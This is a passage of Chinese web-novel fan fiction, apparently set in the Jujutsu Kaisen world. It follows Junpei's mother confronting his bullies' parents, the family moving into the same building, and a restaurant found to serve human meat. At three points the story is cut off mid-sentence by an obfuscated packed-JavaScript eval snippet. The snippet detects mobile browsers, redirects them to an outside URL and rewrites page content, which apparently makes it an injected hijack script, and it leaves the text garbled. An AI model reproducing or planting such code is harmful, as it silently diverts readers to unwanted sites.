“这怎么叫添麻烦!”吉野风的声音拔高,“我是他妈妈!他被人欺负成这样,我居然一点都不知道……” 她突然想起什么,看向悠的脸——那天悠被打伤的脸颊现在已经完全恢复,看不出任何痕迹。 “小悠,你那天是不是……”吉野风的声音哽咽了,“通知书上说,有位‘成年女性目击者’为了保护顺平也受伤了……是你吗?” 悠沉默了几秒,点点头:“我刚好路过。” 吉野风的眼泪流得更凶了。 她放下通知书,紧紧抱住悠。 “对不起……对不起小悠……让你卷进来,还受伤……” “我没事。”悠轻拍她的背,“而且风姐,这不怪你。顺平是个懂事的孩子,他只是太懂事了。” 两人抱了一会儿,吉野风松开手,擦掉眼泪。 她深吸一口气,眼神变得坚定。 “那些孩子的家长呢?学校联系了吗?” “应该联系了。”悠说,“七海……出面处理的。” 说到“七海”时,悠的声音不自觉地温柔了些。 吉野风注意到这个细节,心里一暖——她知道表妹找到了一个可靠的人,新婚时那短暂的见面,那个金发戴眼镜的男人给她的印象就是严谨而沉稳。 “七海妹夫他……真的帮了大忙。”吉野风说,“我之前还担心你结婚太仓促,但现在看来,你是真的找到了很好的人。” 悠的脸微微泛红:“嗯……他确实很好。” “那他现在……” “去上班了。”悠看了看时钟,“不过他说今天会早点回来,如果需要,他可以陪你去学校。” 吉野风摇摇头:“不,我自己去。这是我作为母亲该做的事。” 她顿了顿,语气柔和了一些:“但小悠……你能帮我照顾顺平一会儿吗?他今天应该放学直接来你这儿吧?我不想让他看到我去学校的样子……我怕我会控制不住情绪。” 悠点头:“没问题。姐,你放心吧。” 当天下午,吉野风进了顺平学校的会议室。 校长和主任已经在里面了,旁边坐着三个中年人——两男一女,看起来应该是铃木、山田、小林的家长。 他们的脸色都不太好,气氛压抑。 “我是吉野顺平的母亲,吉野风。”吉野风在空着的椅子上坐下,脊背挺得很直。 “吉野女士,感谢您能来。”主任清了清嗓子,“这三位分别是铃木先生、山田女士、小林先生。今天请大家来,是想就孩子们之间发生的事……” “不是‘孩子们之间发生的事’。”吉野风打断他,声音清晰而冷静,“是您的儿子、您的儿子、您的儿子——”她依次指向三个家长,“对我的儿子吉野顺平进行了长达数个月的校园霸凌。” 会议室安静了一瞬。 铃木健太的父亲——一个穿着廉价西装、头发稀疏的中年男人——首先开口:“吉野女士,我们理解您的心情,但‘霸凌’这个词是不是太严重了?孩子们之间打打闹闹……” “用烟头在孩子额头上烫出三个疤,是打打闹闹?”吉野风从包里掏出手机,调出昨天她强行给顺平拍的照片——在明亮的灯光下,那三个圆形的疤痕清晰可见。 三个家长的脸色变了。 “勒索钱财,是打打闹闹?” “七八个人围殴一个,是打打闹闹?” 吉野风的声音一句比一句高,眼睛盯着那三个家长:“如果现在躺在医院里的是你们的儿子,你们还会说这是‘打打闹闹’吗?” 山田裕也的母亲——一个打扮精致但眼神闪烁的女人——小声说:“我们也教育过裕也了……” “教育?”吉野风转向她,“您的‘教育’就是让他继续在学校里欺负其他孩子?您的‘教育’就是让他觉得做错事只要道个歉就能过去?” 她站起身,双手撑在桌子上,目光扫过在场的每一个人。 “我今天来,不是来听道歉的。道歉改变不了我儿子额头上的疤,改变不了他这几个月每天晚上做噩梦的事实,改变不了他每次出门前都要检查刘海有没有遮好额头的习惯。” 她的声音开始颤抖,但依然强硬。 “我要的是保证。保证你们的儿子不会再靠近我儿子,保证学校能真正履行监督责任,保证如果我儿子再受到一点伤害,我会用尽一切法律手段,让你们——包括学校——付出代价。” 校长擦着汗:“吉野女士,我们一定会加强管理……” “空话我已经听够了。”吉野风从包里拿出一份文件,“这是我请律师朋友帮忙拟的保证书。三位家长,请签字。如果你们的孩子在顺平毕业前再对他有任何形式的骚扰、威胁或伤害,我将立即提起诉讼,要求赔偿精神损失费、医疗费以及所有相关费用。” 她把文件推到桌子中央。 “如果你们拒绝签字,我明天就会把这件事、这些照片、还有学校之前的不作为,一起发给媒体。东京的记者最喜欢这种故事了——‘单亲母亲的孩子遭长期霸凌,学校包庇施暴者’。” 会议室里死一般的寂静。 铃木的父亲第一个拿起笔,签了字,他的手在抖。 然后是山田的母亲,她的妆容因为出汗有些花了。 最后是小林的父亲,他签完字后把笔扔在桌上,发出“啪”的一声。 吉野风收起三份签好的文件,看向校长和主任:“我希望明天能在学校公告栏看到对这三名学生的处分通知。如果看不到,我会亲自来贴。” 说完,她转身离开会议室。 门关上的瞬间,她靠在走廊的墙上,腿一软,几乎站不住。 手在抖,全身都在抖。 刚才的强硬是装出来的,每一个字都是用尽全力挤出来的。 为了顺平,她必须做到。 当天晚上,吉野风带着顺平来到悠家道谢。 七海已经下班回来了,正坐在客厅看电视。 听到敲门声,他起身开门。 “吉野女士。”七海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154080|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼貌地点头,“请进。” 吉野风带着顺平进屋,看到七海时,郑重地鞠躬:“七海先生,真的……非常感谢您。我听小悠说了,是您去学校交涉的……” “应该的。”七海的语气客套而疏离,这是他一贯对外的态度,“顺平是悠的侄子,也是我的家人。” 这句话说得很平淡,但“家人”两个字让吉野风心里一暖。 悠从厨房端出茶点:“风姐,顺平,坐吧。七海,你也别站着。” 四人围坐在茶几旁。吉野风再次道谢,眼眶又红了:“如果不是你们,我真的不知道该怎么办……我这个妈妈当得太失职了……” “风姐,别这么说。”悠握住她的手,“顺平不告诉你,是因为他懂事。但现在问题解决了,以后会越来越好的。” 顺平坐在母亲身边,低着头。 他的刘海被修剪过了,虽然还是能遮住疤痕,但至少不会挡住眼睛。 吉野风说等疤痕再淡一些,就带他去医院看看能不能做修复。 “对了,”吉野风忽然想起什么,“顺平,你不是有话要对姨夫说吗?” 这是吉野风第一次用“姨夫”这个称呼。 七海听到时,眼镜后的眼睛微微动了一下。 顺平抬起头,看向七海,声音很小但很认真:“谢谢您……姨夫。” 七海沉默了两秒,然后点头:“不用谢。以后有事,随时可以找我。” 他的语气依然平静,但悠能感觉到,那句“姨夫”让七海的态度有了一丝难以察觉的软化。 吉野风看着这一幕,心里踏实了许多。 她又说起了另一件事:“其实……有件事想跟你们商量。我和顺平现在住的公寓,下个月租约就到期了。房东说要涨租金,涨得还挺多……” 她顿了顿,有些不好意思:“我打听了一下,你们这栋楼好像有空房间?四楼好像有户搬走了……” 悠眼睛一亮:“真的?那太好了!如果风姐和顺平能搬过来,以后就能常见面了!” 七海思考了一下:“四楼的空房间……应该是402室。面积比你们现在的公寓小一些,但租金便宜不少,而且离得近,顺平放学后可以直接来我们家。” “我也这么想。”吉野风点头,“就是……可能会经常麻烦你们……” “一点都不麻烦!”悠笑着说,“我平时一个人在家画画也挺闷的,顺平来了还能陪我说说话。而且我们可以一起看恐怖片!” 说到恐怖片,顺平的眼睛亮了一下。 七海推了推眼镜:“吉野女士,如果你确定要租,明天我可以陪你去管理公司。租房合同需要注意的条款比较多。” “太感谢了……”吉野风犹豫了一下,“七海先生,以后……我也可以叫你七海吗?总是‘先生’、‘女士’的,太见外了。” 七海顿了顿,点头:“可以。” “那你叫我风姐就好。”吉野风笑了,“都是一家人。” 那天晚上,吉野风母子在悠家吃了晚饭。 悠做了拿手的咖喱饭,还烤了下午试验成功的抹茶红豆司康。 四个人围坐在矮桌旁,暖黄色的灯光下,食物的香气和交谈声充满了整个房间。 顺平话很少,但会认真听大人说话,他听得格外专注。 “顺平也喜欢恐怖的东西?”悠问。 顺平点头:“嗯……喜欢看恐怖片。” “那我们以后可以一起看!”悠眼睛亮了,“七海不太爱看这些,我一个人看有时候还挺没意思的。” 七海看了她一眼:“我只是认为大部分恐怖片的逻辑有问题。” “恐怖片要什么逻辑嘛!”悠抗议,“要的是氛围!” 顺平看着他们斗嘴,嘴角微微上扬——这是他这几天来第一次露出笑容。 33. 顺平搬家 两周后,吉野风和顺平搬进了阳光公寓402室。 搬家那天,悠和七海都去帮忙。 其实东西不多,最大的家具是一台老旧的电视机和一张矮桌,其他都是纸箱。 “这间虽然小,但干净明亮。”吉野风擦着汗,“而且离你们近,我就放心了。” 悠帮忙拆着纸箱,顺平在整理自己的书。 他的书不多,但有几本恐怖小说和电影杂志。 “哇,这本《漩涡》我也有!”悠拿起一本漫画单行本,“顺平你也看伊藤润二?” “嗯……”顺平点头,“他的画风……很特别。” “特别吓人吧?”悠笑了,“不过我很喜欢。对了,你要不要看看我的草稿?不过正式连载的内容要等杂志哦,要支持正版!” 顺平眼睛亮了:“可以吗?” 于是那天下午,顺平第一次看到了悠的创作过程。 悠给他看了草稿——那些扭曲的线条、诡异的构图、还有她随手记下的灵感碎片。 “小姨,这里……”顺平指着一页草稿,“这个角色的表情,为什么要这样画?” “因为她在‘看见’东西。”悠解释,“当你能看见别人看不见的事物时,表情会不自觉变得……不太一样。我在镜子里练习过很多次。” 顺平认真地看着那些画,又看看悠:“小姨,你画得真好。” “谢谢!”悠很开心,“不过不许剧透哦!要等连载!” “嗯。” 从那以后,顺平成了悠最忠实的读者——兼催稿助手。 每周四杂志发售日,顺平放学后会特意绕路去书店买最新一期。 如果悠拖稿了,他会和编辑真由美站在同一战线—— “”小姨,这周能交稿吗?”某个周二的下午,顺平写完作业后问。 “这个嘛……”悠盯着空白的速写本,“灵感还在路上……” “真由美小姐昨天不是还打电话了?”顺平板着脸,“她说如果周五前交不出稿,就要来家里盯着你画。” 悠哀嚎一声:“顺平!你怎么也站在她那边!” “因为我想看后续。”顺平认真地说,“而且……小姨你答应过要按时交稿的。” 悠看着少年严肃的表情,忍不住笑了:“好吧好吧,我画。不过顺平,你以后可别当编辑,太严格了。” “我想当创作者。”顺平小声说,“像小姨这样,画自己想画的东西。” 悠愣了愣,然后温柔地说:“那你可要加油哦。不过顺平,你知道吗?七海……你姨夫他虽然不是创作者,但他也是个很可靠的人。你可以既像他那样可靠,又做自己喜欢的事。” 顺平点头:“嗯。我想……先成为悠小姨这样的创作者,画出让人害怕但又忍不住想看的作品。然后……再成为姨夫那样可靠的人,让妈妈可以依靠我。” 他的声音很轻,但眼神坚定。 悠心里一暖,伸手揉了揉他的头发:“你会做到的。” 除了创作上的交流,悠和顺平也确实成了恐怖片同好。 某个周末下午,吉野风去超市打工,七海在公司加班,两人就在六楼客厅看了一部老恐怖片。 电影看到一半时,顺平忽然说:“悠小姨,这个导演的手法……和你在漫画里用的有点像。” “哪里像?” “这里。”顺平指着电视,“他让观众先看到影子,再慢慢露出全貌。” 悠惊讶地看着他:“你观察得好仔细!” “因为……我喜欢分析这些。”顺平有些不好意思,“恐怖片为什么恐怖,漫画为什么吓人……我想弄明白原理。” “那你看我画的漫画时,会害怕吗?” 顺平想了想:“会害怕,但又很想看下去。就像……明明知道前面有可怕的东西,但还是忍不住往前走。” 悠笑了:“这就是恐怖创作的魅力啊。” 电影结束后,两人还讨论了半个小时的剧情。 直到七海下班回来,看到茶几上堆着的零食包装袋和两人兴奋讨论的样子,推了推眼镜:“又在看恐怖片?” “姨夫。”顺平站起身,“我们在分析电影手法。” 七海看着少年亮晶晶的眼睛,点了点头:“分析完了记得收拾干净。还有,作业写完了吗?” “……还没有。” “那先写作业。” “是。” 顺平乖乖收拾东西回四楼了。 悠看着他的背影,笑着说:“他现在叫你‘姨夫’叫得很自然了呢。” 七海没说话,但悠看到他耳朵微微红了。 吉野风母子搬来后,日常多了许多温暖。 基本每天下午,顺平放学后会先回四楼放书包,然后上六楼。 悠会给他开门,茶几上总是有点心——有时成功有时失败,但顺平从不挑剔。 “今天试验的是巧克力薄荷饼干。”悠端出一盘形状不太规则的饼干,“好像薄荷放多了……” 顺平拿起一块咬了一口,面无表情地咀嚼,然后说:“还可以。” “真的吗?我尝尝……呕,好辣!这根本不是薄荷,是牙膏味吧!” “还好。”顺平又拿了一块,“配茶吃就不明显了。” 悠看着他真的在吃那些失败作品,心里暖暖的。 五点半左右,七海下班回家。 如果他加班,会发消息;如果不加班,就会加入这个安静的学习/工作小组。 有时他会指导顺平的数学题,虽然语气还是那种严谨的“这里应该用这个公式”的班主任即视感,耐心却是实实在在的。 六点,吉野风下班回来。 她会先换衣服,然后上六楼接顺平。 几乎每次来,她手里都提着东西——今天超市打折的蔬菜,明天便利店临期的便当,后天自己做的煮物。 “风姐,真的不用每次都带东西。”悠第三次收到吉野风送来的蔬菜时,无奈地说。 “要的。”吉野风很坚持,“不能总占你们便宜。” 于是两家的冰箱里,经常会有对方送来的食物。 七海某天打开冰箱,看到里面多了一盒吉野风做的土豆炖肉,沉默了几秒,然后对悠说:“明天我做点炸鸡块送下去吧。” 悠笑了:“好。” 除了吉野风母子,公寓楼的其他邻居也开始和这家人熟络起来。 一楼管理室的坂本太太最喜欢顺平——因为少年每次进出都会认真打招呼“坂本太太好”“坂本太太再见”,还会在她提重物时主动帮忙。 “吉野太太,你家儿子真懂事啊。”坂本太太对吉野风说,“不像五楼那家的双胞胎,整天在走廊里跑来跑去,吵死了。” 吉野风只是笑笑。 她知道坂本太太嘴碎,但心眼不坏。 五楼的双胞胎确实调皮——两个六岁男孩,精力旺盛得吓人。 他们的母亲是单身职场女性,经常加班到很晚,孩子就交给外婆带。 外婆年纪大了,管不住,于是双胞胎就成了整栋楼的“小魔王”。 顺平搬来后不久,就被双胞胎缠上了。 那天顺平刚进公寓楼,就被两个小炮弹一样冲过来的男孩围住。 “大哥哥!你会折纸飞机吗?” “大哥哥!我的球卡在树上了!” 顺平愣了一下。 他不太擅长应付小孩,但看着两双亮晶晶的眼睛,还是点了点头。 于是那天下午,六楼的悠听到阳台下有声音,探头一看,发现顺平正站在楼下的小树旁,试图用长竹竿帮双胞胎够卡在树枝上的皮球。 “小心点!”悠喊。 “没事的小姨!”顺平仰头回答,脸上有罕见的、轻松的笑容。 球够下来了,双胞胎欢呼雀跃。 顺平又教他们折了纸飞机,三个纸飞机在夕阳下飞了好远。 从那以后,双胞胎看到顺平就会喊“顺平哥哥”,还会把幼儿园做的奇怪手工送给他。 他们的外婆——一个满头白发但精神很好的老太太——也因此对吉野风母子格外热情,经常送自己做的腌菜上来。 “这栋楼虽然旧,但人情味挺浓的。”某天晚饭时,吉野风感慨地说。 “嗯。”悠点头,“大部分邻居都很好。” 但也不是所有人都好。 二楼住着一个独居的中年男人,姓佐佐木。 他总是一身酒气,见到女性会吹口哨说轻佻的话。 吉野风搬来第二天,在楼梯上遇到他,就被他上下打量。 “新搬来的?一个人住?”佐佐木的眼睛在吉野风身上打转。 吉野风冷着脸没理他,快步上楼了。 后来她和悠说起这件事,悠皱起眉:“那个人……我也遇到过。七海说让我离他远点。” “我会注意的。”吉野风说,“不过如果他敢做什么,我也不怕他,我随时揣着防狼喷雾,悠等下我给你也带几瓶。。” 事实证明,佐佐木确实是个麻烦。 他不仅对女性不尊重,还经常深夜大声放音乐,吵得整层楼都睡不着。 几次投诉后,管理公司警告了他,他收敛了几天,又故态复萌。 直到某天晚上,他喝醉了在楼道里呕吐,被下夜班的七海撞见。 七海什么也没说,只是站在他面前,面无表情地看着他。 佐佐木本来想骂人,但抬头看到七海— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154081|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —那个比他高半个头、穿着西装、眼神冰冷的男人——酒醒了一半。 “对、对不起……”他下意识地说。 七海指了指地上的污秽:“清理干净。” “是、是……” 从那以后,佐佐木见到女性住户还是会偷看,但不敢再吹口哨了。 深夜的音乐声也小了许多。 日子一天天过去,夏天进入了最炎热的八月。 吉野风在超市的工作逐渐上手,虽然工资不高,但作息正常了,能有更多时间陪顺平。 顺平在新班级适应得不错——虽然还是不太爱说话,但至少没有被人欺负。 他额头的疤痕在慢慢淡化,吉野风预约了九月份的皮肤科门诊,看看能不能做激光治疗。 悠的新漫画连载到第三话,读者反响越来越好。 有读者来信说“每周最期待的就是这个连载”,还有人说“作者是不是真的有灵异体验”。 顺平每周都买杂志,还会认真地写读者回执卡——不是投稿,只是写一些简单的感想:“这一话的剧情很好”“这个角色的表情画得很到位”“期待下一话”。 某天,他把一张回执卡给悠看。 上面写着:“我想成为像豆豆老师一样的创作者,画出让人既害怕又感动的故事。” 悠看着那张卡片,眼睛有点热:“豆豆老师……这个笔名很久没人这么正式地叫了。” “因为这是悠小姨作为创作者的名字。”顺平认真地说,“我会好好收藏每一期杂志的。” “那你要加油哦。”悠揉揉他的头发,“你看你姨夫,他虽然不做创作类的工作,但他很可靠。” “而且你现在也很可靠了。”悠笑着说,“不过顺平,不要给自己太大压力。你才十四岁,可以慢慢来。” “嗯。” 那天晚上,吉野风来接顺平时,悠把那张回执卡给她看了。 吉野风看着儿子写的话,眼眶又红了。 “这孩子……”她擦擦眼睛,“总是想得太多。” “但想得多不是坏事。”悠说,“顺平是个温柔的孩子,他会找到自己的路的。” “嗯。” 八月的某个周末,七海难得没有加班。 四人决定去附近的公园野餐——这是吉野风提议的,她说“好久没有这样一家人出门了”。 野餐很普通。 天空很蓝,树荫下有微风。 他们铺开野餐垫,摆出自制的食物。 顺平带着偶遇的双胞胎在草地上放风筝。 吉野风看着儿子在阳光下奔跑的身影,轻声说:“搬来这里,真是太好了。” 悠递给她一罐饮料:“以后会越来越好的。” “嗯。” 七海坐在野餐垫上,看着远处的顺平和双胞胎,又看看身边笑着聊天的悠和吉野风。 阳光透过树叶的缝隙洒下来,在野餐垫上投下斑驳的光影。 很普通,很平静。 这就是他一直想要的,普通人的生活。 有家人,有日常,有琐碎的烦恼,也有简单的快乐。 手机震动了一下。七海拿出来看,是五条悟发来的消息: “娜娜明~最近怎么样?听说东京有家书店闹怪谈哦,窗的人去看了,说有点意思。你没掺和吧?(′?ω?`)” 七海面无表情地打字:“没掺和。在野餐。” “野餐?!和悠酱吗?哇!好浪漫!” “和家人。” 发送,然后把手机调成静音,塞回口袋。 “谁的消息?”悠凑过来问。 “五条前辈。”七海说,“问我有没有多管闲事。” 悠笑了:“那你怎么说?” “我说我在野餐。”七海顿了顿,“和我的家人。” 悠的眼睛弯起来,在七海脸颊上亲了一下。 吉野风假装没看见,低头摆弄便当盒。 顺平刚好跑回来喝水,看到这一幕,脸红了红,赶紧转身又跑走了。 双胞胎在后面追:“顺平哥哥!等等我们!” 笑声在夏日的风里飘散。 很普通,很美好。 顺平跑着跑着,回头看了一眼野餐垫上的大人们。 小姨在笑,妈妈也在笑,姨夫虽然没什么表情,但眼神是柔和的。 他想,这就是他想守护的东西。 也许他永远成不了那样强大的人,也许他永远只是个有点内向、喜欢恐怖片的普通少年。 但他可以慢慢变得可靠,可以保护妈妈,可以在小姨拖稿时提醒她,可以在姨夫加班晚归时帮忙热饭。 他可以,一点一点地,成为这个家的一部分。 34. 油脂亭的流行 悠在超市采购时。 “真的,你们一定要去尝尝‘油脂亭’的烤肉!”收银台前,一位中年主妇正兴奋地向排队的顾客推荐,“我丈夫上周带我们去过之后,现在天天念叨着要去!” “我家也是!”旁边另一位顾客附和,“我儿子从来不爱吃肉,结果去了一次,连着三天都吵着要去。那肉的味道……怎么说呢,就是跟别家不一样。” 悠拎着购物篮,不动声色地听着。 这已经是她这周第五次听到“油脂亭”这个名字了。 这家新开的烤肉店仿佛一夜之间风靡了整个街区,每个人都在谈论它,每个人的语气里都带着一种近乎狂热的推崇。 太不正常了。 结账后,悠提着购物袋走出超市,正好遇到下班的吉野风。 “小悠!”吉野风笑着招手,“你也来采购?对了,你听说了吗?商业街新开了家烤肉店,叫‘油脂亭’,听说特别好吃!我同事们都说要去,咱们周末也去尝尝?” 悠心里奇怪,真有这么好吃,“风姐也听说了啊。不过最近天热,吃烤肉会不会有点腻?” “不会不会!”吉野风摇头,“听说他们家的肉一点都不腻,特别香。而且价格也不贵。顺平最近学习辛苦,我想带他去吃点好的。” 悠点点头。 不过,她有种不好的预感——那种所有人都像着了魔一样推荐同一家店的感觉。 回到家,七海还没下班。 悠把食材放进冰箱,坐在沙发上发了一会儿呆。 窗外的蝉鸣声震耳欲聋,空气热得像是凝固的油脂。 四点半,顺平放学回来了。 他一进门,悠就闻到一股淡淡的、奇异的香气。 “顺平,你身上什么味道?” 顺平一愣,抬起手臂闻了闻:“啊……可能是路过商业街的时候沾上的。那家新开的烤肉饭油脂亭今天好像在做促销,门口在烤肉试吃,排队的人特别多。” “你去吃了吗?” “没有。”顺平摇头,“但是香气飘得整条街都是。那味道……”他犹豫了一下,“确实很香,香得让人有点……不舒服。” 悠敏锐地捕捉到这个词:“不舒服?” “嗯。”顺平放下书包,“就是太香了,香得不自然。而且排队的人……表情都有点怪,眼睛直勾勾地盯着烤盘,像是……像是被什么东西迷住了一样。” 说完,悠和顺平双目对视,眼中都是对于人们着魔状态的奇怪,两个人开始讨论最近听到这家店的传闻。 周六晚上,吉野风还是订到了油脂亭的位子。 “好不容易才抢到的!”她兴奋地对悠和七海还有顺平说,“听说要提前一周预约,正好有人取消,我就赶紧订了。咱们一家人好好去吃一顿!” 顺平朝悠和七海疯狂眨眼睛。 七海推了推眼镜:“吉野女士,其实……” “风姐。”吉野风纠正,“都说多少次了,叫风姐就好。” “风姐。”七海从善如流,“我最近胃不太舒服,吃烤肉可能……” “哎呀,那更要吃点好的补补!”吉野风不由分说,“他们家也有清淡的菜品。就这么定了,今晚七点!” 看着吉野风高兴的样子,悠和七海都不忍心再拒绝,顺平无奈的挠挠头。 况且,他们也确实想亲眼看看这家店到底有什么蹊跷。 油脂亭位于商业街深处,门面不大,装修是普通的日式风格。 但门口排队的客人一直延伸到巷口,每个人脸上都带着期待的神色。 “这么多人……”顺平小声说。 吉野风报上预约名字后,服务生领他们进去。 店里座无虚席,空气中弥漫着浓郁的烤肉香气——那是一种混合了油脂焦香、秘制酱料和某种深层腥甜的气味。 悠一进门,就感觉不太对劲。 她眨了眨眼,调整了一下视线——然后看到了。 每一桌客人身上,都延伸出细细的、油腻的“线”,这些线像蛛网一样在空中交织,最终都汇聚向后厨的方向。 线的颜色是浑浊的黄色,像是凝固的脂肪。 更让她心惊的是,当服务生端上他们点的招牌拼盘时,她看到了肉上面的线。 那些肉片纹理细腻,脂肪分布均匀得像雪花,色泽鲜红诱人。 但在悠的眼中,每一片肉上都延伸出粗壮的、蠕动的线,这些线穿透墙壁,直接连向后厨的垃圾桶。 那不是动物的线。 那是人类的线。 悠的手在桌子下轻轻碰了碰七海。 七海看向她,悠用眼神示意了一下肉盘,嘴巴贴近他的耳朵。 “老公!这是人肉!!!” 闻言,七海立马拿起夹子,夹起盘子里的肉,眼睛微微眯起。 其他桌的肉在铁板上滋滋作响,脂肪融化,香气四溢。 吉野风深吸一口气:“哇,真的好香!” 顺平却皱起了眉。 他也闻到了那股香气,但不知为何,胃里有些翻涌。 肉的纹理清晰。 他看了几秒,然后推了推眼镜,声音平静地说:“这家店肉的纹理……有点特别。” “是吧是吧!”吉野风没察觉异常,“听说他们家用的都是特选肉源。” 七海放下筷子,转头对吉野风说:“风姐,我突然想起一件事。公司下周一有个重要会议,我有些资料还没准备完。抱歉,我们可能得先回去了。” 吉野风一愣:“啊?可是菜都点了……” “我们打包回去再说。”七海站起身,同时看向悠,“悠,你胃不是也不舒服吗?要不陪我一起回去?顺便去药店买点药。” 悠立刻会意:“啊,对,我差点忘了。风姐,真不好意思……感觉肚子好痛。” “没事没事。”吉野风有点懵的看着悠看起来非常夸张的表演说,“那还是赶紧去买药。那顺平我们一起走?” 顺平看了看七海,又看了看悠。他敏锐地察觉到气氛不对,于是说:“妈妈,我同意,我作业还没写完,明天要交。所以要不……咱们打包?” 吉野风看看这个,看看那个,终于叹了口气:“好吧好吧,真是服了你们了,你们一个个的…到底瞒着我什么呢…那服务员,麻烦帮我们打包。” 走出油脂亭,热浪扑面而来。 吉野风还在惋惜:“多好的肉啊,趁热吃才好吃……” “风姐。”七海忽然开口,“这家店,以后还是别来了。” 吉野风一愣:“为什么?” 七海没有直接回答,而是说:“肉的味道太香了,香得不正常。而且我观察了一下,大部分客人都是回头客,这不符合餐饮业的正常规律。” “可能就是因为好吃啊。” “好吃到让人每天来?”悠接话,“风姐,你想想,如果你吃到一家特别好吃的店,你会推荐给别人,但你自己会每天都想去吗?” 吉野风想了想,摇头:“那倒不会……再好吃也会腻。” “可是你看那些客人。”悠回头看了一眼油脂亭的窗户,里面的人影在热气中扭曲,“他们看起来……不像是会腻的样子。” 顺平小声说:“像是上瘾了。” 这个词让吉野风打了个寒颤。 七海的主动拎着打包盒,在路过电话亭时临时打了个电话,出来的时候‘一个不小心’把盒子掉到地上,肉摔了出来。 然后七海和顺平捡起来扔进了垃圾桶。 一路上,吉野风越想越不对劲。 督促顺平先回家去洗澡,她跟着悠和七海上了六楼。 “那肉……真的有问题?”吉野风直接问。 悠犹豫了一下,点了点头:“七海说,那肉的纹理……不像动物肉。” 吉野风脸色一白:“不、不像动物肉,那像什么?” 七海推了推眼镜,声音冷静得近乎残酷:“从肌肉纤维的走向和脂肪分布来看,更接近人类肌肉组织的结构。” 吉野风捂住嘴,差点吐出来。 “当然,这只是我的个人判断。”七海补充道,“我不是法医,不能百分之百确定。但结合这家店的异常现象——所有人像着了魔一样推荐、客人几乎都是回头客、以及肉香到不自然的程度——我认为有必要报警。” “报警……”吉野风喃喃道。 “匿名报警。”七海说,“就说怀疑他们在肉里添加了非法添加剂,导致客人成瘾。顺便提一句,曾目击后厨有可疑的类似人体的物品。这样警方就会介入调查。” 悠握住吉野风的手:“风姐,这件事咱们就当不知道。以后也千万别再去了。” 吉野风用力点头,手还在抖:“我、我说你俩怎么怪怪的!” 等她下楼后,悠靠在七海肩上,轻声说:“那些线……都连向后厨的垃圾桶。很粗,很油腻,肯定是人类才有的线。我没敢读线里面的记忆。” 七海搂住她的肩:“肉上面的纹理。切割方式和处理手法……都是专业的人体解剖手法。” 两人沉默了一会儿。 窗外的蝉鸣声不知何时停了,夜晚安静得可怕。 “七海。”悠忽然说,“这种事件发生的频率是不是太高了?” 七海没有马上回答。 他想起咒术高专的日子,想起那些与咒灵战斗的夜晚,想起五条悟总是笑嘻嘻地说“娜娜明,你太严肃啦”。 “还好。”七海最终说,“不过属于正常范围,以前在咒术界的时候比现在接触的还要频繁。” 他拿起手机,又重新编辑了一份匿名报警邮件。 语气冷静客观,列出可疑点:异常的人流量、客人近乎成瘾的表现、肉质纹理的疑点、以及“偶然目击后厨有可疑大型包裹”。 发送。 悠靠在他肩上,看着他操作手机。 屏幕的光映在他的眼镜片上,反射出冷冽的光。 “老公。” “嗯?” “你认真做事的样子,好帅。” 七海手指顿了顿,耳朵微微泛红:“……别说这种话。” “为什么?我说的是事实啊。”悠笑了,凑过去亲了亲他的脸颊,“我老公就是很帅嘛。” 七海轻咳一声,把手机放到一边:“早点休息吧。明天……应该会有消息。” 第二天,油脂亭没有开门。 商业街开始流传各种小道消息。 悠去便利店买牛奶时,听到店员和顾客在议论。 “听说了吗?油脂亭被警察查封了!” “真的假的?为什么?” “好像是因为……肉有问题。”店员压低声音,“我听隔壁店的老板说,昨天半夜来了好多警车,从后厨搬出来好几个大袋子,用黑色的裹尸袋装着……” 顾客倒吸一口凉气:“不会吧?难道真的是……” “嘘!别乱说,等官方通报。” 但传闻还是像野火一样蔓延。 到了下午,已经有多个版本的故事在街头流传。 版本一:油脂亭使用劣质过期肉,添加非法添加剂让肉质变嫩变香,客人吃了会上瘾。 版本二:老板是变态杀人狂,专门杀害流浪汉,用人肉做烤肉。 版本三:老板自己就是个“食人魔”,从自己身上割肉来烤——这个版本的支持者信誓旦旦地说,看到老板总是穿着长袖,手臂上缠满绷带。 顺平放学回来,也带回了学校的传闻。 “有人说,油脂亭的老板被逮捕时,整个人胖得不正常,脸上全是油光,而且……”顺平顿了顿,“据说警察打开他家冰箱时,发现里面全是装油脂的罐子。他自己也喝油。” 悠胃里一阵翻涌。 “还有更恶心的。”顺平小声说,“听说老板背上长满了脓包,每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的。”悠认真地说,“而且你抓住了恐怖的精髓——不是突然的惊吓,而是日常中的逐渐异化。烤肉店是日常,美味的肉是日常,但就是这种日常,慢慢变成了噩梦。” 七海也接过笔记本看了看。 他读得很慢,很仔细。 顺平紧张地攥着衣角。 读完,七海充满笑意地推了推眼镜。 “开头的悬念设置得不错。”他客观地评价,“用‘不像人间该有的美味’来暗示异常,比直接描写更有效。” 顺平屏住呼吸。 